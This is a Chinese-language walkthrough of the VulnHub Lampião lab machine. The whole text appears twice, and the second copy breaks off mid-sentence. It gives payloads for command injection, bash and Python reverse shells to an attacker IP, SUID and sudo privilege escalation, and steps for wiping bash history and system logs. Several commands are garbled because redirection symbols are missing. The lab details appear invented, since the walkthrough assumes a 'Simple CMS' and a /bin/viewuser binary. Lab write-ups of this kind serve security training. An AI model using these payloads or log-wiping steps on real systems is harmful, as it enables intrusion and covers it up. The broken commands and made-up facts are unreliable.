1. 项目概述从Lampião靶机看实战渗透的“敲门砖”如果你刚开始接触渗透测试或者想找一个既能练手又有点挑战性的靶机Lampião葡萄牙语意为“油灯”绝对是个绕不开的名字。它被广泛认为是VulnHub平台上最经典的入门级靶机之一其设计初衷就是模拟一个存在多个漏洞的Linux服务器环境引导新手体验从信息收集到最终获取最高权限root的完整渗透流程。我当年第一次独立拿下它时那种“柳暗花明又一村”的感觉至今记忆犹新。这个靶机之所以经典不在于它用了多么高深的技术而在于它非常“教科书式”地串联了Web渗透、权限提升等核心知识点就像一个精心设计的闯关游戏每一步都恰到好处地引导你去思考和实践。Lampião靶机模拟了一个运行着老旧内容管理系统CMS的网站其中包含了诸如命令注入、文件上传、信息泄露、弱密码以及需要提权的本地漏洞等一系列常见安全问题。它非常适合那些已经掌握了Kali Linux基础操作了解Nmap、Dirb、Metasploit等工具基本用法但缺乏完整实战串联经验的初学者。通过攻克它你不仅能巩固工具的使用更重要的是能建立起“攻击者思维”——如何将零散的信息点串联成一条完整的攻击链。接下来我将结合我多次带新人“打靶”的经验详细拆解Lampião的渗透过程并分享那些官方Writeup里不会写的细节和坑点。2. 渗透测试核心思路与前期信息收集渗透测试绝非盲目扫描和工具轰炸其核心在于系统性和逻辑性。面对Lampião这样的静态靶机我们的思路可以概括为“由外而内由面到点”。即先从外部网络层面收集尽可能多的信息然后针对开放的服务进行深入探测最后聚焦到具体的漏洞点进行突破。2.1 环境搭建与网络发现首先你需要一个攻击环境。通常我们使用Kali Linux并将Lampião靶机的OVA文件导入到VMware或VirtualBox中。关键一步是确保攻击机和靶机在同一网络段。我习惯使用NAT或仅主机模式并在Kali中快速扫描整个网段。# 查看本机IP确定网段 ip a # 假设本机IP为192.168.56.101则扫描该网段 sudo nmap -sn 192.168.56.0/24-sn参数进行Ping扫描快速发现存活主机。很快你会发现除了你的Kali192.168.56.101外还有一个新IP例如192.168.56.102这就是我们的目标——Lampião靶机。注意有些虚拟化环境或靶机配置可能导致它不响应ICMP Ping。如果-sn扫描不到别慌直接使用-Pn参数跳过主机发现视所有主机为存活进行端口扫描或者检查虚拟网络的连接设置。2.2 全面的端口与服务探测发现目标IP后下一步是进行全面的端口扫描摸清靶机对外开放的“大门”。sudo nmap -sV -sC -p- 192.168.56.102 -oN lampiao_initial.nmap这个命令组合非常强大-sV: 探测服务版本。知道运行的是Apache 2.4.7还是Nginx 1.14对后续搜索漏洞至关重要。-sC: 使用默认的Nmap脚本进行扫描。这些脚本能发现很多基本信息比如HTTP标题、robots.txt等。-p-: 扫描所有65535个端口。这是必须的很多新手只扫默认的1000个端口往往会错过像8080、31337这样的非标准服务端口而Lampião的关键入口恰恰可能就在一个非常规端口上。-oN: 将结果输出到文件便于后续分析。扫描结果通常会显示开放了**22(SSH)和80(HTTP)**端口。SSH版本信息可能提示是OpenSSH这是后续提权或爆破的潜在入口。而80端口运行的Web服务就是我们主攻的方向。2.3 Web应用信息深度挖掘确定了80端口有Web服务我们就要像侦探一样不放过任何蛛丝马迹。浏览器手动访问首先用浏览器打开http://192.168.56.102。你会看到一个网站可能是博客或CMS的界面。第一眼要看什么看页脚、看源码注释、看HTTP响应头。有没有“Powered by XXX”的字样源码里有没有泄露版本号的注释这些往往是突破点。目录爆破网站根目录下通常只有首页更多功能隐藏在子目录中。使用工具进行目录枚举是标准操作。dirb http://192.168.56.102 /usr/share/wordlists/dirb/common.txt -o dirb_scan.txt或者用更快的gobustergobuster dir -u http://192.168.56.102 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html -o gobuster.txt这里-x参数指定了要尝试的扩展名对于PHP网站尤其重要。爆破结果很可能会发现/admin、/login、/uploads、/backup、/robots.txt等关键目录和文件。分析robots.txt这个文件是网站管理员不希望爬虫访问的目录清单但对渗透测试员来说这简直就是一份“宝藏地图”。访问http://192.168.56.102/robots.txt你可能会发现一些隐藏的登录入口、备份文件目录如/admin/backup等。识别CMS与框架手动浏览结合目录爆破的结果基本可以判断出网站使用的CMS比如Drupal, Joomla, WordPress或一些不知名的开源系统。可以用whatweb工具进行指纹识别whatweb http://192.168.56.102知道了CMS名称和版本号就可以去SearchSploit、Exploit-DB等漏洞库搜索公开的漏洞利用代码Exploit。3. 漏洞挖掘与利用突破Web防线信息收集阶段我们假设发现了以下关键信息网站是一个名为“Simple CMS”的系统存在/admin登录页面并且通过目录爆破发现了/admin/backup目录下有一个疑似数据库备份的.sql文件。我们的攻击链就此展开。3.1 利用信息泄露获取初始凭据访问http://192.168.56.102/admin/backup/website_backup.sql成功下载了一个SQL文件。用cat或文本编辑器打开它仔细搜索关键词如user、pass、admin、password、md5、hash。很快你可能会发现类似这样的记录INSERT INTO users VALUES (1, admin, d033e22ae348aeb5660fc2140aec35850c4da997);这显然是一个密码哈希值这里是SHA1。我们需要破解它。首先判断哈希类型SHA1通常是40位十六进制字符串。我们可以使用hash-identifier工具或者直接扔到在线破解网站如CrackStation或本地用John the Ripper、Hashcat进行破解。# 将哈希值保存到文件 hash.txt echo d033e22ae348aeb5660fc2140aec35850c4da997 hash.txt # 使用john进行破解指定格式为sha1 john --formatraw-sha1 --wordlist/usr/share/wordlists/rockyou.txt hash.txt如果运气好或者密码足够弱在这个靶机里通常是john会很快告诉你明文密码是admin。是的你没看错SHA1(‘admin’) 正好就是这个哈希值。这就是一个典型的弱密码哈希案例。3.2 登录后台与发现命令注入点用账号admin和密码admin尝试登录/admin页面。成功进入后台后台是渗透测试的“黄金宝地”。不要漫无目的地点击要有目的地寻找任何可以输入数据的地方特别是那些可能调用系统功能的地方比如“系统设置”、“工具”、“Ping测试”、“文件管理”等。在Lampião的后台你可能会找到一个“Network Tools”或“Ping a Host”的功能。它允许你输入一个IP地址或主机名来测试连通性。这就是一个非常明显的命令注入漏洞的迹象。因为这类功能在后台很可能直接使用system(“ping -c 4 “ . $_POST[‘host’])这样的危险函数。尝试在输入框里提交8.8.8.8; whoami如果页面返回了www-dataWeb服务器的默认运行用户那么恭喜你命令注入漏洞存在分号;在Linux中用于分隔命令whoami命令被执行并输出了结果。3.3 建立反向Shell获取立足点执行单个命令还不够我们需要一个交互式的Shell以便更自如地控制目标服务器。最常用的方法就是建立反向ShellReverse Shell让靶机主动连接回我们攻击机的监听端口。在攻击机Kali上开启监听nc -nvlp 4444这个命令让Netcat在4444端口进行监听等待连接。在靶机的命令注入点注入反向Shell命令。根据目标系统可用的工具有多种Payload。最通用的是使用bash8.8.8.8; bash -c bash -i /dev/tcp/192.168.56.101/4444 01将192.168.56.101替换为你的Kali IP。提交后如果成功你会在Kali的Netcat终端看到一个Shell提示符通常是www-datalampiao:$。实操心得命令注入的Payload中空格和特殊字符可能会被过滤。常用的绕过技巧包括使用${IFS}代替空格、使用Base64编码命令再解码执行、使用%0a换行符或%26等。在Lampião中直接使用分号和bash命令通常可行但在更复杂的环境中需要灵活尝试。4. 权限提升从www-data到root拿到www-data的Shell我们只是拿到了一个低权限的“访客证”很多关键文件如/etc/shadow读不了系统配置改不了。下一步的目标是权限提升Privilege Escalation, PE拿到最高权限的root账户。4.1 系统信息收集在低权限Shell里我们需要尽可能多地收集系统信息寻找提权的突破口。我通常会运行一个信息收集脚本比如著名的LinEnum.sh或linpeas.sh。这里我们手动执行一些关键命令# 查看内核版本和系统架构寻找内核漏洞 uname -a cat /etc/issue # 查看当前用户权限sudo -l 非常重要 sudo -l # 如果www-data用户有sudo权限并且可以无密码运行某些命令那可能就是捷径。 # 查看计划任务Cron Jobs看是否有以root权限运行的可写脚本 cat /etc/crontab ls -la /etc/cron.*/ # 查看SUID/SGID特殊权限文件重点 find / -type f -perm -us -ls 2/dev/null # 或者更详细的 find / -perm -4000 -type f 2/dev/null4.2 利用SUID二进制文件提权find命令的结果可能会列出一堆具有SUID权限的文件。SUID意味着当任何用户执行这个文件时它将以文件所有者的权限运行。如果这个文件的所有者是root并且它存在漏洞或可以被滥用就可能用来提权。在Lampião靶机中一个经典的提权向量是/bin/viewuser或者类似名称的文件。通过ls -la /bin/viewuser查看发现它确实设置了SUID位并且属于root。www-datalampiao:/$ ls -la /bin/viewuser -rwsr-xr-x 1 root root 10984 Jun 12 2017 /bin/viewusers位在所有者执行权限上这就是SUID。接下来用file命令查看其类型用strings查看其字符串file /bin/viewuser strings /bin/viewuser从strings的输出中你可能会发现它内部调用了cat /etc/passwd这样的命令并且可能是通过拼接用户输入来执行的。这暗示着可能存在命令注入。尝试运行它/bin/viewuser程序可能提示你输入一个用户名。尝试注入命令root; /bin/bash如果程序以root权限执行了/bin/bash那么你弹出的这个bash shell就拥有root权限了输入id命令确认你会看到uid0(root)。为什么这样能成功因为/bin/viewuser这个程序内部逻辑可能是这样的伪代码char command[100]; sprintf(command, cat /etc/passwd | grep %s, user_input); system(command);当我们的输入是root; /bin/bash时拼接后的命令变成了cat /etc/passwd | grep root; /bin/bash。分号让系统执行完grep后接着以root权限因为程序本身是SUID root执行了/bin/bash。4.3 其他提权路径的探索除了SUID文件Lampião可能还隐藏了其他提权方法这也是实战中需要培养的全面思维内核漏洞提权如果uname -a显示内核版本很老比如3.x可以搜索对应的本地提权Exp如DirtyCow。使用searchsploit linux kernel 3.2来查找。但在Lampião这种教学靶机中通常会有更“优雅”的SUID或sudo提权点。Cron Job提权检查/etc/crontab看是否有以root身份定期运行的脚本且该脚本全局可写。如果有我们可以修改该脚本写入反向Shell命令等待Cron执行即可获得root shell。sudo权限滥用如果sudo -l显示当前用户可以无需密码运行某些命令比如/usr/bin/vim、/usr/bin/find、/usr/bin/python等这些命令本身就可以用来启动一个root shell。例如sudo vim -c ‘:! /bin/bash’或sudo find / -exec /bin/bash \;。5. 后渗透清理与痕迹管理在实战渗透测试授权范围内或CTF比赛中拿到root权限并读取/root/flag.txt或proof.txt后目标就达成了。但在一个更贴近实战的学习过程中我们还需要考虑如何清理痕迹模拟一个专业的攻击者。清除命令历史Bash会记录用户输入的命令保存在~/.bash_history当前用户或/root/.bash_historyroot中。直接删除或清空这些文件。# 清空当前shell的历史内存中 history -c # 删除历史记录文件 rm /root/.bash_history rm /home/username/.bash_history # 或者直接清空 echo /root/.bash_history清除日志文件系统的各种日志如/var/log/auth.log记录了登录信息/var/log/apache2/access.log记录了Web访问可能记录了我们的IP和操作。需要定位并清理相关条目。更粗暴的做法是仅限靶机环境# 清空主要日志 echo /var/log/auth.log echo /var/log/syslog echo /var/log/apache2/access.log echo /var/log/apache2/error.log注意直接删除或清空整个日志文件在真实环境中是非常可疑的行为。更隐蔽的做法是使用sed等工具删除包含自己IP的特定行。删除上传的工具或脚本如果你上传了LinEnum.sh、linpeas或任何Exploit代码记得在离开前删除它们。rm -f /tmp/linpeas.sh /tmp/exploit.c移除后门如果添加了如果你创建了新的用户、SSH密钥或Cron后门务必移除。完成这些后可以退出Shell。在Netcat的监听端按CtrlC或者在靶机的Shell中输入exit。6. 常见问题与排查技巧实录即使按照步骤操作新手在实战Lampião时也常会遇到各种问题。这里我总结几个高频“坑点”和解决思路。6.1 网络连通性问题问题Nmap扫描不到靶机IP或者能扫到但端口全过滤/关闭。排查确认虚拟网络设置。确保Kali和Lampião靶机网络适配器模式一致比如都是NAT模式或都是仅主机模式。在靶机启动后尝试在靶机控制台里输入ip addr或ifconfig确认它获取到的IP地址是否和Kali在同一网段。在Kali上ping一下靶机IP看是否通。如果不通检查虚拟软件的虚拟网络编辑器如VMware的VMnet8看子网设置。如果靶机防火墙规则过于严格可能屏蔽了探测。可以尝试在靶机如果已知凭证上关闭防火墙sudo ufw disable但这在未知环境下不现实。此时应依赖-Pn参数进行扫描。6.2 命令注入Payload不执行问题在Web输入点提交了反向Shell命令但Kali上的Netcat没有收到连接。排查检查Payload语法和特殊字符确保IP和端口正确。注意在Web表单中、、等字符可能需要URL编码。可以先用简单的命令测试如; ping -c 1 your_kali_ip看能否收到ICMP包在Kali用sudo tcpdump icmp监听。检查Netcat监听确保Kali上执行nc -nvlp 4444时没有报“Address already in use”错误端口被占用。可以换一个端口如4445。检查出站限制靶机服务器可能限制了向外发起连接。尝试使用其他类型的Shell如Python、PHP、Perl反向Shell。例如Python的Payloadpython -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.56.101,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/bash,-i]);使用编码或替代方案如果存在字符过滤尝试Base64编码命令。或者如果命令注入点有回显可以尝试使用wget或curl将Shell脚本下载到靶机再执行。6.3 SUID提权失败问题找到了SUID文件如/bin/viewuser但无论输入什么都无法获得root shell。排查深入分析程序行为用ltrace或strace工具跟踪程序的系统调用和库函数调用看它到底执行了什么。strace /bin/viewuser test_input 21 | grep -A5 -B5 execve这能帮你看到程序最终执行的命令是什么从而构造正确的注入Payload。检查环境变量有些SUID程序会丢弃特权环境或重置环境变量。尝试在注入命令时使用绝对路径如/bin/bash而不是bash。寻找其他SUID文件可能不止一个SUID文件。用更精细的命令查找不常见的SUID文件find / -type f -perm -4000 2/dev/null | xargs ls -la。关注那些非系统标准命令的、名字奇怪的文件。6.4 找不到Flag文件问题拿到了root权限但在/root目录下没找到flag.txt或proof.txt。排查扩大搜索范围使用find命令在全盘搜索包含特定关键词的文件。find / -type f -name *flag* 2/dev/null find / -type f -name *proof* 2/dev/null find / -type f -name *.txt 2/dev/null | xargs grep -l flag{检查文件隐藏属性有些Flag文件可能被隐藏以.开头或设置了特殊属性。用ls -la仔细查看。查看用户目录检查/home下所有用户的目录特别是那些有登录Shell的用户如/home/tiago。回顾靶机描述有些靶机的Flag可能在Web目录下的某个特定文件里或者需要组合多个信息。重新阅读VulnHub上关于Lampião的描述看有没有提示。7. 工具链的灵活运用与思维延伸Lampião的渗透过程本质上是一个标准流程的演练。但工具是死的人是活的。在这个过程中你可以尝试用不同的工具达到相同的目的这能加深理解。信息收集除了Nmap可以尝试用masscan进行极速端口扫描用nikto或wapiti进行Web漏洞扫描。目录爆破dirb、gobuster、dirsearch、ffuf各有优劣。ffuf速度极快且功能强大是现代渗透测试的常用选择。ffuf -u http://192.168.56.102/FUZZ -w /usr/share/wordlists/dirb/common.txt漏洞利用除了手动注入对于已知漏洞的CMS可以尝试使用Metasploit (msfconsole)。搜索相关模块search exploit simple cms配置参数一键利用。但作为学习强烈建议先手动理解原理后再用自动化工具。提权辅助信息收集脚本LinEnum.sh和linpeas.sh是神器它们能自动化发现很多提权线索。务必学会使用和阅读它们的输出。攻克Lampião这样的靶机最大的收获不是那几个命令而是建立起一套思维模式侦察 - 枚举 - 漏洞分析 - 利用 - 提权 - 维持/清理。每一个环节都需要耐心、细致和发散性的思维。当你遇到一堵墙时不要硬撞退一步看看有没有别的路或者检查一下自己手里的工具是否用对了姿势。这个靶机就像一盏引路的“油灯”照亮了你渗透测试学习之路的第一步而后面还有更复杂、更贴近真实环境的靶场在等着你。记住工具和命令会过时但这种系统性的攻击思维和解决问题的能力才是安全从业者最核心的资本。
1. 项目概述从Lampião靶机看实战渗透的“敲门砖”如果你刚开始接触渗透测试或者想找一个既能练手又有点挑战性的靶机Lampião葡萄牙语意为“油灯”绝对是个绕不开的名字。它被广泛认为是VulnHub平台上最经典的入门级靶机之一其设计初衷就是模拟一个存在多个漏洞的Linux服务器环境引导新手体验从信息收集到最终获取最高权限root的完整渗透流程。我当年第一次独立拿下它时那种“柳暗花明又一村”的感觉至今记忆犹新。这个靶机之所以经典不在于它用了多么高深的技术而在于它非常“教科书式”地串联了Web渗透、权限提升等核心知识点就像一个精心设计的闯关游戏每一步都恰到好处地引导你去思考和实践。Lampião靶机模拟了一个运行着老旧内容管理系统CMS的网站其中包含了诸如命令注入、文件上传、信息泄露、弱密码以及需要提权的本地漏洞等一系列常见安全问题。它非常适合那些已经掌握了Kali Linux基础操作了解Nmap、Dirb、Metasploit等工具基本用法但缺乏完整实战串联经验的初学者。通过攻克它你不仅能巩固工具的使用更重要的是能建立起“攻击者思维”——如何将零散的信息点串联成一条完整的攻击链。接下来我将结合我多次带新人“打靶”的经验详细拆解Lampião的渗透过程并分享那些官方Writeup里不会写的细节和坑点。2. 渗透测试核心思路与前期信息收集渗透测试绝非盲目扫描和工具轰炸其核心在于系统性和逻辑性。面对Lampião这样的静态靶机我们的思路可以概括为“由外而内由面到点”。即先从外部网络层面收集尽可能多的信息然后针对开放的服务进行深入探测最后聚焦到具体的漏洞点进行突破。2.1 环境搭建与网络发现首先你需要一个攻击环境。通常我们使用Kali Linux并将Lampião靶机的OVA文件导入到VMware或VirtualBox中。关键一步是确保攻击机和靶机在同一网络段。我习惯使用NAT或仅主机模式并在Kali中快速扫描整个网段。# 查看本机IP确定网段 ip a # 假设本机IP为192.168.56.101则扫描该网段 sudo nmap -sn 192.168.56.0/24-sn参数进行Ping扫描快速发现存活主机。很快你会发现除了你的Kali192.168.56.101外还有一个新IP例如192.168.56.102这就是我们的目标——Lampião靶机。注意有些虚拟化环境或靶机配置可能导致它不响应ICMP Ping。如果-sn扫描不到别慌直接使用-Pn参数跳过主机发现视所有主机为存活进行端口扫描或者检查虚拟网络的连接设置。2.2 全面的端口与服务探测发现目标IP后下一步是进行全面的端口扫描摸清靶机对外开放的“大门”。sudo nmap -sV -sC -p- 192.168.56.102 -oN lampiao_initial.nmap这个命令组合非常强大-sV: 探测服务版本。知道运行的是Apache 2.4.7还是Nginx 1.14对后续搜索漏洞至关重要。-sC: 使用默认的Nmap脚本进行扫描。这些脚本能发现很多基本信息比如HTTP标题、robots.txt等。-p-: 扫描所有65535个端口。这是必须的很多新手只扫默认的1000个端口往往会错过像8080、31337这样的非标准服务端口而Lampião的关键入口恰恰可能就在一个非常规端口上。-oN: 将结果输出到文件便于后续分析。扫描结果通常会显示开放了**22(SSH)和80(HTTP)**端口。SSH版本信息可能提示是OpenSSH这是后续提权或爆破的潜在入口。而80端口运行的Web服务就是我们主攻的方向。2.3 Web应用信息深度挖掘确定了80端口有Web服务我们就要像侦探一样不放过任何蛛丝马迹。浏览器手动访问首先用浏览器打开http://192.168.56.102。你会看到一个网站可能是博客或CMS的界面。第一眼要看什么看页脚、看源码注释、看HTTP响应头。有没有“Powered by XXX”的字样源码里有没有泄露版本号的注释这些往往是突破点。目录爆破网站根目录下通常只有首页更多功能隐藏在子目录中。使用工具进行目录枚举是标准操作。dirb http://192.168.56.102 /usr/share/wordlists/dirb/common.txt -o dirb_scan.txt或者用更快的gobustergobuster dir -u http://192.168.56.102 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html -o gobuster.txt这里-x参数指定了要尝试的扩展名对于PHP网站尤其重要。爆破结果很可能会发现/admin、/login、/uploads、/backup、/robots.txt等关键目录和文件。分析robots.txt这个文件是网站管理员不希望爬虫访问的目录清单但对渗透测试员来说这简直就是一份“宝藏地图”。访问http://192.168.56.102/robots.txt你可能会发现一些隐藏的登录入口、备份文件目录如/admin/backup等。识别CMS与框架手动浏览结合目录爆破的结果基本可以判断出网站使用的CMS比如Drupal, Joomla, WordPress或一些不知名的开源系统。可以用whatweb工具进行指纹识别whatweb http://192.168.56.102知道了CMS名称和版本号就可以去SearchSploit、Exploit-DB等漏洞库搜索公开的漏洞利用代码Exploit。3. 漏洞挖掘与利用突破Web防线信息收集阶段我们假设发现了以下关键信息网站是一个名为“Simple CMS”的系统存在/admin登录页面并且通过目录爆破发现了/admin/backup目录下有一个疑似数据库备份的.sql文件。我们的攻击链就此展开。3.1 利用信息泄露获取初始凭据访问http://192.168.56.102/admin/backup/website_backup.sql成功下载了一个SQL文件。用cat或文本编辑器打开它仔细搜索关键词如user、pass、admin、password、md5、hash。很快你可能会发现类似这样的记录INSERT INTO users VALUES (1, admin, d033e22ae348aeb5660fc2140aec35850c4da997);这显然是一个密码哈希值这里是SHA1。我们需要破解它。首先判断哈希类型SHA1通常是40位十六进制字符串。我们可以使用hash-identifier工具或者直接扔到在线破解网站如CrackStation或本地用John the Ripper、Hashcat进行破解。# 将哈希值保存到文件 hash.txt echo d033e22ae348aeb5660fc2140aec35850c4da997 hash.txt # 使用john进行破解指定格式为sha1 john --formatraw-sha1 --wordlist/usr/share/wordlists/rockyou.txt hash.txt如果运气好或者密码足够弱在这个靶机里通常是john会很快告诉你明文密码是admin。是的你没看错SHA1(‘admin’) 正好就是这个哈希值。这就是一个典型的弱密码哈希案例。3.2 登录后台与发现命令注入点用账号admin和密码admin尝试登录/admin页面。成功进入后台后台是渗透测试的“黄金宝地”。不要漫无目的地点击要有目的地寻找任何可以输入数据的地方特别是那些可能调用系统功能的地方比如“系统设置”、“工具”、“Ping测试”、“文件管理”等。在Lampião的后台你可能会找到一个“Network Tools”或“Ping a Host”的功能。它允许你输入一个IP地址或主机名来测试连通性。这就是一个非常明显的命令注入漏洞的迹象。因为这类功能在后台很可能直接使用system(“ping -c 4 “ . $_POST[‘host’])这样的危险函数。尝试在输入框里提交8.8.8.8; whoami如果页面返回了www-dataWeb服务器的默认运行用户那么恭喜你命令注入漏洞存在分号;在Linux中用于分隔命令whoami命令被执行并输出了结果。3.3 建立反向Shell获取立足点执行单个命令还不够我们需要一个交互式的Shell以便更自如地控制目标服务器。最常用的方法就是建立反向ShellReverse Shell让靶机主动连接回我们攻击机的监听端口。在攻击机Kali上开启监听nc -nvlp 4444这个命令让Netcat在4444端口进行监听等待连接。在靶机的命令注入点注入反向Shell命令。根据目标系统可用的工具有多种Payload。最通用的是使用bash8.8.8.8; bash -c bash -i /dev/tcp/192.168.56.101/4444 01将192.168.56.101替换为你的Kali IP。提交后如果成功你会在Kali的Netcat终端看到一个Shell提示符通常是www-datalampiao:$。实操心得命令注入的Payload中空格和特殊字符可能会被过滤。常用的绕过技巧包括使用${IFS}代替空格、使用Base64编码命令再解码执行、使用%0a换行符或%26等。在Lampião中直接使用分号和bash命令通常可行但在更复杂的环境中需要灵活尝试。4. 权限提升从www-data到root拿到www-data的Shell我们只是拿到了一个低权限的“访客证”很多关键文件如/etc/shadow读不了系统配置改不了。下一步的目标是权限提升Privilege Escalation, PE拿到最高权限的root账户。4.1 系统信息收集在低权限Shell里我们需要尽可能多地收集系统信息寻找提权的突破口。我通常会运行一个信息收集脚本比如著名的LinEnum.sh或linpeas.sh。这里我们手动执行一些关键命令# 查看内核版本和系统架构寻找内核漏洞 uname -a cat /etc/issue # 查看当前用户权限sudo -l 非常重要 sudo -l # 如果www-data用户有sudo权限并且可以无密码运行某些命令那可能就是捷径。 # 查看计划任务Cron Jobs看是否有以root权限运行的可写脚本 cat /etc/crontab ls -la /etc/cron.*/ # 查看SUID/SGID特殊权限文件重点 find / -type f -perm -us -ls 2/dev/null # 或者更详细的 find / -perm -4000 -type f 2/dev/null4.2 利用SUID二进制文件提权find命令的结果可能会列出一堆具有SUID权限的文件。SUID意味着当任何用户执行这个文件时它将以文件所有者的权限运行。如果这个文件的所有者是root并且它存在漏洞或可以被滥用就可能用来提权。在Lampião靶机中一个经典的提权向量是/bin/viewuser或者类似名称的文件。通过ls -la /bin/viewuser查看发现它确实设置了SUID位并且属于root。www-datalampiao:/$ ls -la /bin/viewuser -rwsr-xr-x 1 root root 10984 Jun 12 2017 /bin/viewusers位在所有者执行权限上这就是SUID。接下来用file命令查看其类型用strings查看其字符串file /bin/viewuser strings /bin/viewuser从strings的输出中你可能会发现它内部调用了cat /etc/passwd这样的命令并且可能是通过拼接用户输入来执行的。这暗示着可能存在命令注入。尝试运行它/bin/viewuser程序可能提示你输入一个用户名。尝试注入命令root; /bin/bash如果程序以root权限执行了/bin/bash那么你弹出的这个bash shell就拥有root权限了输入id命令确认你会看到uid0(root)。为什么这样能成功因为/bin/viewuser这个程序内部逻辑可能是这样的伪代码char command[100]; sprintf(command, cat /etc/passwd | grep %s, user_input); system(command);当我们的输入是root; /bin/bash时拼接后的命令变成了cat /etc/passwd | grep root; /bin/bash。分号让系统执行完grep后接着以root权限因为程序本身是SUID root执行了/bin/bash。4.3 其他提权路径的探索除了SUID文件Lampião可能还隐藏了其他提权方法这也是实战中需要培养的全面思维内核漏洞提权如果uname -a显示内核版本很老比如3.x可以搜索对应的本地提权Exp如DirtyCow。使用searchsploit linux kernel 3.2来查找。但在Lampião这种教学靶机中通常会有更“优雅”的SUID或sudo提权点。Cron Job提权检查/etc/crontab看是否有以root身份定期运行的脚本且该脚本全局可写。如果有我们可以修改该脚本写入反向Shell命令等待Cron执行即可获得root shell。sudo权限滥用如果sudo -l显示当前用户可以无需密码运行某些命令比如/usr/bin/vim、/usr/bin/find、/usr/bin/python等这些命令本身就可以用来启动一个root shell。例如sudo vim -c ‘:! /bin/bash’或sudo find / -exec /bin/bash \;。5. 后渗透清理与痕迹管理在实战渗透测试授权范围内或CTF比赛中拿到root权限并读取/root/flag.txt或proof.txt后目标就达成了。但在一个更贴近实战的学习过程中我们还需要考虑如何清理痕迹模拟一个专业的攻击者。清除命令历史Bash会记录用户输入的命令保存在~/.bash_history当前用户或/root/.bash_historyroot中。直接删除或清空这些文件。# 清空当前shell的历史内存中 history -c # 删除历史记录文件 rm /root/.bash_history rm /home/username/.bash_history # 或者直接清空 echo /root/.bash_history清除日志文件系统的各种日志如/var/log/auth.log记录了登录信息/var/log/apache2/access.log记录了Web访问可能记录了我们的IP和操作。需要定位并清理相关条目。更粗暴的做法是仅限靶机环境# 清空主要日志 echo /var/log/auth.log echo /var/log/syslog echo /var/log/apache2/access.log echo /var/log/apache2/error.log注意直接删除或清空整个日志文件在真实环境中是非常可疑的行为。更隐蔽的做法是使用sed等工具删除包含自己IP的特定行。删除上传的工具或脚本如果你上传了LinEnum.sh、linpeas或任何Exploit代码记得在离开前删除它们。rm -f /tmp/linpeas.sh /tmp/exploit.c移除后门如果添加了如果你创建了新的用户、SSH密钥或Cron后门务必移除。完成这些后可以退出Shell。在Netcat的监听端按CtrlC或者在靶机的Shell中输入exit。6. 常见问题与排查技巧实录即使按照步骤操作新手在实战Lampião时也常会遇到各种问题。这里我总结几个高频“坑点”和解决思路。6.1 网络连通性问题问题Nmap扫描不到靶机IP或者能扫到但端口全过滤/关闭。排查确认虚拟网络设置。确保Kali和Lampião靶机网络适配器模式一致比如都是NAT模式或都是仅主机模式。在靶机启动后尝试在靶机控制台里输入ip addr或ifconfig确认它获取到的IP地址是否和Kali在同一网段。在Kali上ping一下靶机IP看是否通。如果不通检查虚拟软件的虚拟网络编辑器如VMware的VMnet8看子网设置。如果靶机防火墙规则过于严格可能屏蔽了探测。可以尝试在靶机如果已知凭证上关闭防火墙sudo ufw disable但这在未知环境下不现实。此时应依赖-Pn参数进行扫描。6.2 命令注入Payload不执行问题在Web输入点提交了反向Shell命令但Kali上的Netcat没有收到连接。排查检查Payload语法和特殊字符确保IP和端口正确。注意在Web表单中、、等字符可能需要URL编码。可以先用简单的命令测试如; ping -c 1 your_kali_ip看能否收到ICMP包在Kali用sudo tcpdump icmp监听。检查Netcat监听确保Kali上执行nc -nvlp 4444时没有报“Address already in use”错误端口被占用。可以换一个端口如4445。检查出站限制靶机服务器可能限制了向外发起连接。尝试使用其他类型的Shell如Python、PHP、Perl反向Shell。例如Python的Payloadpython -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.56.101,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/bash,-i]);使用编码或替代方案如果存在字符过滤尝试Base64编码命令。或者如果命令注入点有回显可以尝试使用wget或curl将Shell脚本下载到靶机再执行。6.3 SUID提权失败问题找到了SUID文件如/bin/viewuser但无论输入什么都无法获得root shell。排查深入分析程序行为用ltrace或strace工具跟踪程序的系统调用和库函数调用看它到底执行了什么。strace /bin/viewuser test_input 21 | grep -A5 -B5 execve这能帮你看到程序最终执行的命令是什么从而构造正确的注入Payload。检查环境变量有些SUID程序会丢弃特权环境或重置环境变量。尝试在注入命令时使用绝对路径如/bin/bash而不是bash。寻找其他SUID文件可能不止一个SUID文件。用更精细的命令查找不常见的SUID文件find / -type f -perm -4000 2/dev/null | xargs ls -la。关注那些非系统标准命令的、名字奇怪的文件。6.4 找不到Flag文件问题拿到了root权限但在/root目录下没找到flag.txt或proof.txt。排查扩大搜索范围使用find命令在全盘搜索包含特定关键词的文件。find / -type f -name *flag* 2/dev/null find / -type f -name *proof* 2/dev/null find / -type f -name *.txt 2/dev/null | xargs grep -l flag{检查文件隐藏属性有些Flag文件可能被隐藏以.开头或设置了特殊属性。用ls -la仔细查看。查看用户目录检查/home下所有用户的目录特别是那些有登录Shell的用户如/home/tiago。回顾靶机描述有些靶机的Flag可能在Web目录下的某个特定文件里或者需要组合多个信息。重新阅读VulnHub上关于Lampião的描述看有没有提示。7. 工具链的灵活运用与思维延伸Lampião的渗透过程本质上是一个标准流程的演练。但工具是死的人是活的。在这个过程中你可以尝试用不同的工具达到相同的目的这能加深理解。信息收集除了Nmap可以尝试用masscan进行极速端口扫描用nikto或wapiti进行Web漏洞扫描。目录爆破dirb、gobuster、dirsearch、ffuf各有优劣。ffuf速度极快且功能强大是现代渗透测试的常用选择。ffuf -u http://192.168.56.102/FUZZ -w /usr/share/wordlists/dirb/common.txt漏洞利用除了手动注入对于已知漏洞的CMS可以尝试使用Metasploit (msfconsole)。搜索相关模块search exploit simple cms配置参数一键利用。但作为学习强烈建议先手动理解原理后再用自动化工具。提权辅助信息收集脚本LinEnum.sh和linpeas.sh是神器它们能自动化发现很多提权线索。务必学会使用和阅读它们的输出。攻克Lampião这样的靶机最大的收获不是那几个命令而是建立起一套思维模式侦察 - 枚举 - 漏洞分析 - 利用 - 提权 - 